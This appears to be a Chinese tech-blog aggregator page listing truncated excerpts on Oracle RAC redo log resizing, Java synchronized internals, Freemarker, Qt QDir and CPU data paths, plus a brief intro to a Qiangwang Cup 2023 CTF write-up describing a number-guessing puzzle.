Oracle RAC环境下redo log 文件的扩容

Oracle RAC环境下redo log 文件的扩容

环境&#xff1a; 有一个2节点RAC每一个节点2个logfile group每一个group含2个member每一个member的大小为200M 目标&#xff1a;将每一个member的大小有200M扩充到1G。 先来看下redo log的配置&#xff1a; SQL> select * from v$log;GROUP# THREAD# SEQUENCE# …
阅读更多...
Java并发(十九)----Monitor原理及Synchronized原理

Java并发(十九)----Monitor原理及Synchronized原理

1、Java 对象头 以 32 位虚拟机为例 普通对象 |--------------------------------------------------------------| | Object Header (64 bits) | |------------------------------------|-------------------------| | Mark W…
阅读更多...
Freemarker基本语法与案例讲解

Freemarker基本语法与案例讲解

&#x1f389;&#x1f389;欢迎来到我的CSDN主页&#xff01;&#x1f389;&#x1f389; &#x1f3c5;我是Java方文山&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; &#x1f31f;推荐给大家我的专栏《SpringBoot》。&#x1f3af;&#x1f3af; &…
阅读更多...
二十八、目录操作

二十八、目录操作

二十八、目录操作 QDir 简单的QDir小例子 #include <QCoreApplication> #include <QDir> #include <QStringList> #include <QDebug>// 定义一个函数&#xff0c;输入一个目录路径&#xff0c;返回该目录及其子目录中所有文件的大小 qint64 getDirFi…
阅读更多...
5.3数据通路的功能和基本结构

5.3数据通路的功能和基本结构

数据通路的基本结构: 1.CPU内部单总线方式。 2.CPU内部多总线方式。 3.专用数据通路方式。 内部总线是指同一部件&#xff0c;如CPU内部连接各寄存器及运算部件之间的总线; 系统总线是指同一台计算机系统的各部件&#xff0c;如CPU、内存、通道和各类I/O接口间互相连接的总线。…
阅读更多...
[强网杯2023] 只作了几个小题

[强网杯2023] 只作了几个小题

感觉现在比赛越来越难了&#xff0c;只作了几个小题&#xff0c;赛后把看到的wp复现到的也一并记录一下。 misc/fuzz 这就是个猜数的题&#xff0c;哪个数字对了就在哪一位上显示1一共9位&#xff0c;不过服务器返回的前两个并不一定正确&#xff0c;多试几把。 Enter a stri…
阅读更多...
最新文章

Copyright @ 2022~2023